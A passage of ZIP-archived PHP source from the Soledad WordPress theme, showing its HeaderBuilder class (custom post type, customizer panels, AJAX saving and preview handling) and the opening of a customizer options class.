﻿﻿﻿PK     /w\/[s  s     builder/class/header_builder.phpnu [        <?php
/**
 * @author : PenciDesign
 */

/**
 * Class Penci Header Builder
 */
class HeaderBuilder {
	/**
	 * @var HeaderBuilder
	 */
	private static $instance = null;

	public function __construct() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}
		add_action( 'init', array( $this, 'builder_post_type' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'header_builder_html' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'header_builder_js' ), 900 );
		add_action( 'wp_ajax_save_header_builder', array( $this, 'save_header_builder' ) );

		add_action( 'customize_register', array( $this, 'register_customizer_settings' ) );
		add_filter( 'customize_register', array( $this, 'clear_settings' ), 99999999 );
		add_action( 'admin_init', array( $this, 'preview_customize' ) );
		add_action( 'edit_form_after_title', array( $this, 'penci_builder_editpost_link' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'penci_builder_admin_css' ) );
		add_filter( 'customize_loaded_components', array( $this, 'customizer_cleaner' ) );
		add_filter( 'display_post_states', array( $this, 'penci_dashboard_title' ), 10, 2 );
		add_filter( 'post_type_link', array( $this, 'change_link' ), 10, 2 );
		add_filter( 'post_row_actions', array( $this, 'add_edit_link' ), 10, 2 );
		add_filter( 'template_include', array( $this, 'header_template' ), 999 );
		add_filter( 'body_class', array( $this, 'preview_body_class' ), 10, 1 );
		add_action( 'customize_preview_init', array( $this, 'live_preview' ) );
		add_action( 'customize_controls_init', array( $this, 'live_preview_url' ) );
	}

	/**
	 * @return HeaderBuilder
	 */
	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function live_preview_url() {
		global $wp_customize;
		if ( isset( $_REQUEST['layout_id'] ) && $_REQUEST['layout_id'] ) {
			$wp_customize->set_preview_url(
				add_query_arg(
					array( 'layout_id' => $_REQUEST['layout_id'] ),
					home_url()
				)
			);
		}
	}

	public static function remain_desktop_header_element() {
		return self::remain_desktop( 'penci_hb_element_desktop' );
	}

	public static function remain_desktop( $setting_prefix ) {
		$all_element = self::desktop_header_element();

		$rows_desktop    = array( 'topblock', 'top', 'mid', 'bottom', 'bottomblock' );
		$columns_desktop = array( 'left', 'center', 'right' );

		if ( $setting_prefix === 'penci_hb_element_desktop_sticky' ) {
			$rows_desktop = array( 'top', 'mid', 'bottom' );
		}

		$mobile_element = array(
			'pb_logo_mobile',
			'pb_mobile_menu',
			'pb_social_icon_mobile',
			'pb_button_mobile',
			'pb_button_mobile_2',
			'pb_html_ad_mobile',
			'pb_html_ad_mobile_2',
			'pb_shortcode_mobile',
			'pb_login_register_mobile',
			'pb_vertical_line_mobile_1',
			'pb_vertical_line_mobile_2',
		);

		foreach ( $rows_desktop as $row ) {
			foreach ( $columns_desktop as $column ) {
				$setting_element = "{$setting_prefix}_{$row}_{$column}";
				$default_element = penci_get_builder_mod( $setting_element, '' );
				$default_element = $default_element ? explode( ',', $default_element ) : $default_element;
				if ( is_array( $default_element ) ) {
					$default_element = array_merge( $default_element, $mobile_element );
					foreach ( $default_element as $element ) {
						unset( $all_element[ $element ] );
					}
				}
			}
		}

		return $all_element;
	}

	public static function desktop_header_element() {
		$elements = array(
			'pb_logo'            => esc_attr__( 'Logo', 'soledad' ),
			'pb_logo_sticky'     => esc_attr__( 'Sticky Logo', 'soledad' ),
			'pb_main_menu'       => esc_attr__( 'Menu 1', 'soledad' ),
			'pb_second_menu'     => esc_attr__( 'Menu 2', 'soledad' ),
			'pb_third_menu'      => esc_attr__( 'Menu 3', 'soledad' ),
			'pb_date_time'       => esc_attr__( 'Date Time', 'soledad' ),
			'pb_search_icon'     => esc_attr__( 'Search Icon', 'soledad' ),
			'pb_search_form'     => esc_attr__( 'Search Form', 'soledad' ),
			'pb_social_icon'     => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_button'          => esc_attr__( 'Button 1', 'soledad' ),
			'pb_button_2'        => esc_attr__( 'Button 2', 'soledad' ),
			'pb_button_3'        => esc_attr__( 'Button 3', 'soledad' ),
			'pb_news_ticker'     => esc_attr__( 'News Ticker', 'soledad' ),
			'pb_hamburger_menu'  => esc_attr__( 'Hamburger Menu', 'soledad' ),
			'pb_login_register'  => esc_attr__( 'Login/Register', 'soledad' ),
			'pb_block'           => esc_attr__( 'Penci Block 1', 'soledad' ),
			'pb_block_2'         => esc_attr__( 'Penci Block 2', 'soledad' ),
			'pb_html_ad'         => esc_attr__( 'Custom HTML 1', 'soledad' ),
			'pb_html_ad_2'       => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_html_ad_3'       => esc_attr__( 'Custom HTML 3', 'soledad' ),
			'pb_shortcode'       => esc_attr__( 'Shortcode 1', 'soledad' ),
			'pb_shortcode_2'     => esc_attr__( 'Shortcode 2', 'soledad' ),
			'pb_shortcode_3'     => esc_attr__( 'Shortcode 3', 'soledad' ),
			'pb_vertical_line_1' => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_2' => esc_attr__( 'Line Divider 2', 'soledad' ),
			'pb_vertical_line_3' => esc_attr__( 'Line Divider 3', 'soledad' ),
			'pb_vertical_line_4' => esc_attr__( 'Line Divider 4', 'soledad' ),
			'pb_vertical_line_5' => esc_attr__( 'Line Divider 5', 'soledad' ),
		);
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			$elements['pb_darkmode'] = esc_attr__( 'Dark Mode Switcher', 'soledad' );
		}
		if ( class_exists( 'WooCommerce' ) ) {
			$elements['pb_cart_icon']     = esc_attr__( 'Cart Icon', 'soledad' );
			$elements['pb_compare_icon']  = esc_attr__( 'Compare Icon', 'soledad' );
			$elements['pb_wishlist_icon'] = esc_attr__( 'WishList Icon', 'soledad' );
		}
		if ( defined( 'PENCI_BL_VERSION' ) ) {
			$elements['pb_bookmark'] = esc_attr__( 'Bookmark Button', 'soledad' );
		}

		return $elements;
	}

	public static function remain_sticky_header_element() {
		return self::remain_desktop( 'penci_hb_element_desktop_sticky' );
	}

	public static function remain_mobile_header_element() {
		$all_element = self::mobile_header_element();

		$blocks = array(
			'top' => array( 'center' ),
			'mid' => array( 'left', 'center', 'right' ),
		);

		foreach ( $blocks as $row => $columns ) {
			foreach ( $columns as $column ) {
				$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
				$default_element = penci_get_builder_mod( $setting_element, array() );
				$default_element = $default_element ? explode( ',', $default_element ) : '';

				if ( is_array( $default_element ) ) {
					foreach ( $default_element as $element ) {
						unset( $all_element[ $element ] );
					}
				}
			}
		}

		return $all_element;
	}

	public static function mobile_header_element() {
		$elements = array(
			'pb_logo_mobile'            => esc_attr__( 'Mobile Logo', 'soledad' ),
			'pb_mobile_menu'            => esc_attr__( 'Mobile Menu Icon', 'soledad' ),
			'pb_login_register_mobile'  => esc_attr__( 'Mobile Login/Register', 'soledad' ),
			'pb_date_time'              => esc_attr__( 'Date Time', 'soledad' ),
			'pb_search_icon'            => esc_attr__( 'Search Icon', 'soledad' ),
			'pb_search_form'            => esc_attr__( 'Search Form', 'soledad' ),
			'pb_social_icon_mobile'     => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_button_mobile'          => esc_attr__( 'Mobile Button 1', 'soledad' ),
			'pb_button_mobile_2'        => esc_attr__( 'Mobile Button 2', 'soledad' ),
			'pb_news_ticker'            => esc_attr__( 'News Ticker', 'soledad' ),
			'pb_hamburger_menu'         => esc_attr__( 'Hamburger Menu', 'soledad' ),
			'pb_block'                  => esc_attr__( 'Penci Block 1', 'soledad' ),
			'pb_block_2'                => esc_attr__( 'Penci Block 2', 'soledad' ),
			'pb_html_ad_mobile'         => esc_attr__( 'Custom HTML', 'soledad' ),
			'pb_html_ad_mobile_2'       => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_shortcode_mobile'       => esc_attr__( 'Shortcode', 'soledad' ),
			'pb_vertical_line_mobile_1' => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_mobile_2' => esc_attr__( 'Line Divider 2', 'soledad' ),
		);
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			$elements['pb_darkmode'] = esc_attr__( 'Dark Mode Switcher', 'soledad' );
		}
		if ( class_exists( 'WooCommerce' ) ) {
			$elements['pb_cart_icon']     = esc_attr__( 'Cart Icon', 'soledad' );
			$elements['pb_compare_icon']  = esc_attr__( 'Compare Icon', 'soledad' );
			$elements['pb_wishlist_icon'] = esc_attr__( 'WishList Icon', 'soledad' );
		}
		if ( defined( 'PENCI_BL_VERSION' ) ) {
			$elements['pb_bookmark'] = esc_attr__( 'Bookmark Button', 'soledad' );
		}

		return $elements;
	}

	public static function remain_mobile_drawer_element() {
		$all_element = self::mobile_drawer_element();

		$blocks = array(
			'top'    => array( 'center' ),
			'bottom' => array( 'center' ),
		);

		foreach ( $blocks as $row => $columns ) {
			foreach ( $columns as $column ) {
				$setting_element = "penci_hb_element_mobile_drawer_{$row}_{$column}";
				$default_element = penci_get_builder_mod( $setting_element, array() );
				$default_element = $default_element ? explode( ',', $default_element ) : '';

				if ( is_array( $default_element ) ) {
					foreach ( $default_element as $element ) {
						unset( $all_element[ $element ] );
					}
				}
			}
		}

		return $all_element;
	}

	public static function mobile_drawer_element() {
		return array(
			'pb_logo_sidebar'        => esc_attr__( 'Sidebar Logo', 'soledad' ),
			'pb_dropdown_menu'       => esc_attr__( 'Mobile Sidebar Menu', 'soledad' ),
			'pb_search_form_sidebar' => esc_attr__( 'Search Form Sidebar', 'soledad' ),
			'pb_social_icon_mobile'  => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_html_ad_mobile'      => esc_attr__( 'Custom HTML', 'soledad' ),
			'pb_html_ad_mobile_2'    => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_date_time'           => esc_attr__( 'Date Time', 'soledad' ),
			'pb_block'               => esc_attr__( 'Penci Block', 'soledad' ),
			'pb_shortcode'           => esc_attr__( 'Shortcode', 'soledad' ),
			'pb_button'              => esc_attr__( 'Button', 'soledad' ),
		);
	}

	public static function penci_dashboard_title( $post_states, $post ) {

		if ( $post->post_type !== 'penci_builder' ) {
			return $post_states;
		}

		$header_all_id     = get_theme_mod( 'pchdbd_all' );
		$header_archive_id = get_theme_mod( 'pchdbd_archive' );
		$header_page_id    = get_theme_mod( 'pchdbd_page' );
		$header_post_id    = get_theme_mod( 'pchdbd_post' );
		$header_home_id    = get_theme_mod( 'pchdbd_homepage' );
		$header_woo_id     = get_theme_mod( 'pchdbd_woocommerce' );

		if ( $header_home_id && $post->post_name == $header_home_id ) {
			$post_states[] = esc_attr__( 'Homepage Header Template', 'soledad' );
		}

		if ( $header_woo_id && $post->post_name == $header_woo_id ) {
			$post_states[] = esc_attr__( 'WooCommerce Header Template', 'soledad' );
		}

		if ( $header_all_id && $post->post_name == $header_all_id ) {
			$post_states[] = esc_attr__( 'Entire Header Template', 'soledad' );
		}

		if ( $header_archive_id && $post->post_name == $header_archive_id ) {
			$post_states[] = esc_attr__( 'Archive Header Template', 'soledad' );
		}

		if ( $header_page_id && $post->post_name == $header_page_id ) {
			$post_states[] = esc_attr__( 'Pages Header Template', 'soledad' );
		}

		if ( $header_post_id && $post->post_name == $header_post_id ) {
			$post_states[] = esc_attr__( 'Single Post Header Template', 'soledad' );
		}

		return $post_states;
	}

	public static function register_all_elements(): array {
		$elements = array(
			'pb_logo'                   => esc_attr__( 'Logo Desktop', 'soledad' ),
			'pb_logo_sticky'            => esc_attr__( 'Sticky Logo', 'soledad' ),
			'pb_logo_sidebar'           => esc_attr__( 'Logo Sidebar', 'soledad' ),
			'pb_main_menu'              => esc_attr__( 'Menu 1', 'soledad' ),
			'pb_second_menu'            => esc_attr__( 'Menu 2', 'soledad' ),
			'pb_third_menu'             => esc_attr__( 'Menu 3', 'soledad' ),
			'pb_dropdown_menu'          => esc_attr__( 'Dropdown Menu', 'soledad' ),
			'pb_mobile_menu'            => esc_attr__( 'Mobile Menu Button', 'soledad' ),
			'pb_date_time'              => esc_attr__( 'Date Time', 'soledad' ),
			'pb_search_icon'            => esc_attr__( 'Search Icon', 'soledad' ),
			'pb_search_form'            => esc_attr__( 'Search Form', 'soledad' ),
			'pb_search_form_sidebar'    => esc_attr__( 'Search Form Mobile', 'soledad' ),
			'pb_social_icon'            => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_social_icon_mobile'     => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_button'                 => esc_attr__( 'Button 1', 'soledad' ),
			'pb_button_2'               => esc_attr__( 'Button 2', 'soledad' ),
			'pb_button_3'               => esc_attr__( 'Button 3', 'soledad' ),
			'pb_news_ticker'            => esc_attr__( 'News Ticker', 'soledad' ),
			'pb_hamburger_menu'         => esc_attr__( 'Hamburger Menu', 'soledad' ),
			'pb_login_register'         => esc_attr__( 'Login/Register', 'soledad' ),
			'pb_login_register_mobile'  => esc_attr__( 'Mobile Login/Register', 'soledad' ),
			'pb_block'                  => esc_attr__( 'Penci Block 1', 'soledad' ),
			'pb_block_2'                => esc_attr__( 'Penci Block 2', 'soledad' ),
			'pb_html_ad'                => esc_attr__( 'Custom HTML 1', 'soledad' ),
			'pb_html_ad_2'              => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_html_ad_3'              => esc_attr__( 'Custom HTML 3', 'soledad' ),
			'pb_shortcode'              => esc_attr__( 'Shortcode 1', 'soledad' ),
			'pb_shortcode_2'            => esc_attr__( 'Shortcode 2', 'soledad' ),
			'pb_shortcode_3'            => esc_attr__( 'Shortcode 3', 'soledad' ),
			'pb_vertical_line_1'        => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_2'        => esc_attr__( 'Line Divider 2', 'soledad' ),
			'pb_vertical_line_3'        => esc_attr__( 'Line Divider 3', 'soledad' ),
			'pb_vertical_line_4'        => esc_attr__( 'Line Divider 4', 'soledad' ),
			'pb_vertical_line_5'        => esc_attr__( 'Line Divider 5', 'soledad' ),
			'pb_logo_mobile'            => esc_attr__( 'Logo Mobile', 'soledad' ),
			'pb_mobile_nav'             => esc_attr__( 'Mobile Menu Navigation', 'soledad' ),
			'pb_button_mobile'          => esc_attr__( 'Button 1', 'soledad' ),
			'pb_button_mobile_2'        => esc_attr__( 'Button 2', 'soledad' ),
			'pb_html_ad_mobile'         => esc_attr__( 'Custom HTML', 'soledad' ),
			'pb_html_ad_mobile_2'       => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_shortcode_mobile'       => esc_attr__( 'Shortcode', 'soledad' ),
			'pb_vertical_line_mobile_1' => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_mobile_2' => esc_attr__( 'Line Divider 2', 'soledad' ),
		);
		if ( defined( 'PENCI_BL_VERSION' ) ) {
			$elements['pb_bookmark'] = esc_attr__( 'Bookmark Button', 'soledad' );
		}
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			$elements['pb_darkmode'] = esc_attr__( 'Dark Mode Switcher', 'soledad' );
		}
		if ( class_exists( 'WooCommerce' ) ) {
			$elements['pb_cart_icon']     = esc_attr__( 'Cart Icon', 'soledad' );
			$elements['pb_compare_icon']  = esc_attr__( 'Compare Icon', 'soledad' );
			$elements['pb_wishlist_icon'] = esc_attr__( 'WishList Icon', 'soledad' );
		}

		return $elements;
	}

	public function clear_settings( WP_Customize_Manager $wp_customize ) {
		if ( isset( $_GET['layout_id'] ) ) {
			$panels   = $wp_customize->panels();
			$sections = $wp_customize->sections();

			// Optimize `in_array` by using `array_flip` for faster lookups
			$excluded_panels = array_flip( array( 'widgets', 'nav_menus', 'header_builder_config' ) );

			foreach ( $panels as $panel_id => $object ) {
				if ( ! isset( $excluded_panels[ $panel_id ] ) ) {
					$wp_customize->remove_panel( $panel_id );
				}
			}

			foreach ( $sections as $section_id => $object ) {
				// Perform `strpos()` only once for each section
				if ( strpos( $section_id, 'penci_header_' ) === false ) {
					$wp_customize->remove_section( $section_id );
				}
			}
		} else {
			// Remove only the necessary panel when layout_id is not set
			$wp_customize->remove_panel( 'header_builder_config' );
		}
	}

	public function register_customizer_settings( WP_Customize_Manager $wp_customize ) {
		require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/select2.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/buider_config.php';
	}

	public function customizer_cleaner( $components ) {

		if ( isset( $_GET['layout_id'] ) && ! empty( $_GET['layout_id'] ) ) {
			$components = array();
		}

		return $components;
	}

	public function preview_customize() {
		global $wp_customize;
		$customizer_save = isset( $_GET['layout_id'] ) && ! empty( $_GET['layout_id'] ) ? $_GET['layout_id'] : '';
		if ( ! empty( $customizer_save ) ) {
			$header_data = get_post_meta( $customizer_save, 'settings_content', true );
			$header_data = wp_parse_args( $header_data, self::preview_default_data() );

			$mods         = get_theme_mods();
			$theme        = get_option( 'stylesheet' );
			$uncover_data = self::exclude_settings();

			foreach ( $mods as $theme_mod_id => $theme_mod_value ) {
				if ( strpos( $theme_mod_id, 'penci_header' ) !== false && ! in_array( $theme_mod_id, $uncover_data ) ) {
					unset( $mods[ $theme_mod_id ] );
				}
			}

			if ( is_array( $header_data ) && ! empty( $header_data ) ) {
				foreach ( $header_data as $save => $this_value ) {
					if ( ! in_array( $save, $uncover_data ) ) {
						unset( $mods[ $save ] );
						$mods[ $save ] = $this_value;
						$wp_customize->set_post_value( $save, $this_value );
					}
				}
			}
			update_option( "theme_mods_$theme", $mods );
		}
	}

	public function preview_default_data() {
		$default_element_data        = array();
		$builder_rows_desktop        = array( 'topblock', 'top', 'mid', 'bottom', 'bottomblock' );
		$builder_rows_desktop_sticky = array(
			'top'    => 'Sticky Top',
			'mid'    => 'Sticky Middle',
			'bottom' => 'Sticky Bottom',
		);
		$builder_columns_desktop     = array( 'left', 'center', 'right' );
		$builder_rows_mobile         = array( 'top', 'mid', 'bottom' );
		$builder_columns_mobile      = array( 'left', 'center', 'right' );
		$builder_row_sidebar         = array( 'top', 'bottom' );
		$builder_columns_sidebar     = array( 'center' );

		foreach ( $builder_rows_desktop as $row ) {
			foreach ( $builder_columns_desktop as $column ) {
				$default_element_data["penci_hb_element_desktop_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_flex_desktop_{$row}_{$column}"] = 'row';
				$default_element_data["penci_hb_align_desktop_{$row}_{$column}"]   = $column;
			}
		}

		foreach ( $builder_rows_mobile as $row ) {
			foreach ( $builder_columns_mobile as $column ) {
				$default_element_data["penci_hb_element_mobile_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_align_mobile_{$row}_{$column}"]   = $column;
			}
		}

		foreach ( $builder_rows_desktop_sticky as $row => $row_name ) {
			foreach ( $builder_columns_desktop as $column ) {
				$default_element_data["penci_hb_element_desktop_sticky_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_flex_desktop_sticky_{$row}_{$column}"] = 'row';
				$default_element_data["penci_hb_align_desktop_sticky_{$row}_{$column}"]   = $column;
			}
		}

		foreach ( $builder_row_sidebar as $row ) {
			foreach ( $builder_columns_sidebar as $column ) {
				$default_element_data["penci_hb_element_mobile_drawer_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_align_mobile_drawer_{$row}_{$column}"]   = $column;
			}
		}

		return $default_element_data;
	}

	public function exclude_settings() {
		return array(
			'penci_header_enable_transparent',
			'penci_header_padding',
			'penci_header_layout',
			'penci_header_menu_ani_style',
			'penci_header_ctwidth',
			'penci_header_3_banner',
			'penci_header_3_banner_url',
			'penci_header_3_adsense',
			'penci_header_social_check',
			'penci_header_social_brand',
			'penci_header_slogan_text',
			'penci_header_remove_line_slogan',
			'penci_header_menu_style',
			'penci_header_enable_padding',
			'penci_header_remove_line_hover',
			'penci_header_social_nav',
			'penci_header_hidesocial_nav',
			'penci_header_logo_mobile',
			'penci_header_logo_mobile_center',
			'penci_header_signup_padding',
			'penci_header_signup_fdesc',
			'penci_header_signup_finput',
			'penci_header_signup_fsubmit',
			'penci_header_signup_bg',
			'penci_header_signup_color',
			'penci_header_signup_input_border',
			'penci_header_signup_input_color',
			'penci_header_signup_submit_bg',
			'penci_header_signup_submit_color',
			'penci_header_signup_submit_bg_hover',
			'penci_header_signup_submit_color_hover',
			'penci_header_logo_vertical',
			'penci_header_social_vertical',
			'penci_header_social_vertical_brand',
			'penci_header_background_color',
			'penci_header_background_image',
			'penci_header_social_color',
			'penci_header_social_color_hover',
			'penci_header_slogan_color',
			'penci_header_slogan_line_color',
			'penci_header_tran_social_color',
			'penci_header_tran_social_color_hover',
			'penci_header_tran_slogan_color',
			'penci_header_tran_slogan_line_color',
			'penci_hbg_logo_max_width',
		);
	}

	public function header_builder_js() {
		if ( isset( $_GET['layout_id'] ) && ! empty( $_GET['layout_id'] ) ) {
			wp_enqueue_style( 'fontawesome', '//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css' );
			wp_enqueue_style( 'penci-header-builder', PENCI_BUILDER_URL . 'assets/css/header-builder.css' );
			wp_enqueue_script( 'selectize', PENCI_BUILDER_URL . 'assets/js/selectize.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_enqueue_script( 'penci-builder-saved', PENCI_BUILDER_URL . 'assets/js/control-saved.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_localize_script(
				'penci-builder-saved',
				'penci_hdbd',
				array(
					'nonce' => wp_create_nonce( 'penci-hdbd-ajax-nonce' ),
				)
			);

			wp_enqueue_script( 'penci-header-builder', PENCI_BUILDER_URL . 'assets/js/header-builder.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_enqueue_script( 'penci-customizer-builder', PENCI_BUILDER_URL . 'assets/js/customizer.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		}
	}

	public function header_builder_html() {
		$template = new Template( PENCI_BUILDER_PATH . 'customizer-template/' );
		$template->render( 'header-builder', array( 'template' => $template ), true );
	}

	public function builder_post_type() {
		$show_menu = get_theme_mod( 'penci_hide_header_builder' ) ? false : true;
		register_post_type(
			'penci_builder',
			array(
				'labels'              => array(
					'name'           => 'Header Builder',
					'name_admin_bar' => _x( 'Header Builder', 'Add New on Toolbar', 'textdomain' ),
					'edit_item'      => __( 'Edit Header', 'soledad' ),
					'view_item'      => __( 'Preview Header', 'soledad' ),
					'add_new'        => __( 'Add New Header', 'soledad' ),
					'add_new_item'   => __( 'Add New Header', 'soledad' ),
					'new_item'       => __( 'Add New Header', 'soledad' ),
				),
				'public'              => false,
				'publicly_queryable'  => false,
				'show_ui'             => $show_menu,
				'show_in_menu'        => $show_menu,
				'show_in_nav_menus'   => $show_menu,
				'query_var'           => false,
				'rewrite'             => false,
				'capability_type'     => 'post',
				'menu_icon'           => 'dashicons-buddicons-topics',
				'map_meta_cap'        => true,
				'has_archive'         => false,
				'hierarchical'        => false,
				'exclude_from_search' => true,
				'menu_position'       => null,
				'supports'            => array( 'title' ),
			)
		);
	}

	public function save_header_builder() {
		check_ajax_referer( 'penci-hdbd-ajax-nonce', 'nonce' );
		$builder_settings = $_REQUEST['setting_value'];
		$setting_id       = (int) esc_attr( $_REQUEST['setting_id'] );

		if ( ! empty( $builder_settings ) ) {

			$header_data      = get_post( $setting_id );
			$header_name      = $header_data->post_name;
			$current_settings = get_post_meta( $setting_id, 'settings_content', true );
			

			if ( ! empty( $current_settings ) ) {
				$builder_settings = wp_parse_args( wp_parse_args( $builder_settings, self::preview_default_data() ), $current_settings );
			}

			$builder_id = wp_update_post(
				array(
					'ID'          => (int) $setting_id,
					'post_status' => 'publish',
					'meta_input'  => array(
						'settings_content'  => $builder_settings,
					),
				)
			);

			if ( $builder_id ) {
				wp_send_json_success(
					array(
						'builder_id' => $builder_id,
						'message'    => 'Save builder settings successfully',
						'notice'     => 'updated',
					),
					200
				);
			} else {
				wp_send_json_error(
					array(
						'message' => esc_attr__( 'Can not saved this settings', 'soledad' ),
						'notice'  => 'error',
					),
					200
				);
			}
		} else {
			wp_send_json_error(
				array(
					'message' => esc_attr__( 'Missing setting content.', 'soledad' ),
					'notice'  => 'error',
				),
				200
			);
		}

		wp_die();
	}

	public function penci_builder_editpost_link( $post ) {
		if ( 'penci_builder' === $post->post_type ) {
			$query['autofocus[panel]'] = 'header_builder_config';
			$query['layout_id']        = $post->ID;
			$link                      = add_query_arg( $query, admin_url( 'customize.php' ) );
			?>
            <div class="penci-builder-button customize">
                <a data-id="<?php echo esc_attr( $post->ID ); ?>"
                   class="button"
                   data-href="<?php echo esc_url( $link ); ?>"
                   href="<?php echo esc_url( $link ); ?>"><?php echo esc_attr__( 'Edit with Penci Header Builder', 'soledad' ); ?></a>
            </div>
			<?php
		}
	}

	public function add_edit_link( $actions, $post ) {

		$export_posttype = array(
			'penci_builder',
		);

		if ( in_array( $post->post_type, $export_posttype ) ) {

			$query['autofocus[panel]'] = 'header_builder_config';
			$query['layout_id']        = $post->ID;
			$link                      = add_query_arg( $query, admin_url( 'customize.php' ) );

			$actions['penci-builder-edit-link'] = '<a href="' . esc_url( $link ) . '" class="penci-builder-edit-link">' . __( 'Edit with Penci Header Builder', 'soledad' ) . '</a>';
		}

		return $actions;
	}

	public function change_link( $permalink, $post ) {
		$post_link = $page_link = $archive_link = home_url();
		$posts     = get_posts(
			array(
				'posts_per_page' => 1,
			)
		);
		$pages     = get_posts(
			array(
				'posts_per_page' => 1,
				'post_type'      => 'page',
			)
		);
		if ( ! empty( $posts ) && isset( $posts[0] ) ) {
			$post_link = get_the_permalink( $posts[0]->ID );
			$post_cat  = get_the_category( $posts[0]->ID );
			if ( ! empty( $post_cat ) && isset( $post_cat[0] ) ) {
				$archive_link = get_term_link( $post_cat[0]->term_id );
			}
		}
		if ( ! empty( $pages ) && isset( $pages[0] ) ) {
			$page_link = get_page_link( $pages[0]->ID );
		}
		if ( $post->post_type == 'penci_builder' ) {

			$arg_query         = array(
				'view-header-layout' => $post->ID,
			);
			$header_archive_id = get_theme_mod( 'pchdbd_archive' );
			$header_page_id    = get_theme_mod( 'pchdbd_page' );
			$header_post_id    = get_theme_mod( 'pchdbd_post' );
			$header_home_id    = get_theme_mod( 'pchdbd_homepage' );
			$header_woo_id     = get_theme_mod( 'pchdbd_woocommerce' );
			$permalink         = add_query_arg( $arg_query, home_url() );

			if ( $header_archive_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, $archive_link );
			}

			if ( $header_page_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, $page_link );
			}

			if ( $header_post_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, $post_link );
			}

			if ( $header_home_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, home_url() );
			}

			if ( $header_woo_id == $post->post_name && function_exists( 'wc_get_page_permalink' ) ) {
				$permalink = add_query_arg( $arg_query, wc_get_page_permalink( 'shop' ) );
			}
		}

		return $permalink;
	}

	public function header_template( $template ) {
		if ( isset( $_GET['layout_id'] ) && is_customize_preview() ) {
			$template = locate_template( array( 'inc/builder/customizer-template/header.php' ) );
		}

		return $template;
	}

	public function penci_builder_admin_css() {
		global $typenow;
		if ( 'penci_builder' != $typenow ) {
			return;
		}
		wp_enqueue_style( 'penci-builder-admin', PENCI_SOLEDAD_URL . '/inc/builder/assets/css/admin.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'penci-builder-admin', PENCI_SOLEDAD_URL . '/inc/builder/assets/js/admin.js', array(), PENCI_SOLEDAD_VERSION, true );
	}

	public function preview_body_class( $class ) {
		if ( is_customize_preview() && isset( $_GET['layout_id'] ) ) {
			$class[] = 'penci-header-preview-layout';
		}

		return $class;
	}

	public function live_preview() {
		wp_enqueue_script( 'web-font-loader', 'https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js', '', '1.0', true );
		wp_enqueue_script(
			'penci-builder-preview',
			PENCI_SOLEDAD_URL . '/inc/builder/assets/js/customizer-preview.js', // Define the path to the JS file
			array( 'jquery', 'customize-preview' ),
			PENCI_SOLEDAD_VERSION,
			true
		);
	}
}
PK     /w\4        builder/class/builder_panel.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class HeaderBuilderOption extends CustomizerOptionAbstract {

	public $panelID = 'header_builder_config';

	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_header_pb_block_section', esc_html__( 'Block 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_block_2_section', esc_html__( 'Block 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_section', esc_html__( 'Button 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_bookmark_section', esc_html__( 'Bookmark Button', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_2_section', esc_html__( 'Button 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_3_section', esc_html__( 'Button 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_mobile_section', esc_html__( 'Mobile Button 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_mobile_2_section', esc_html__( 'Mobile Button 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_cart_icon_section', esc_html__( 'Cart Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_compare_icon_section', esc_html__( 'Compare Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_dropdown_menu_section', esc_html__( 'Mobile Sidebar Menu', 'soledad' ), $this->panelID );
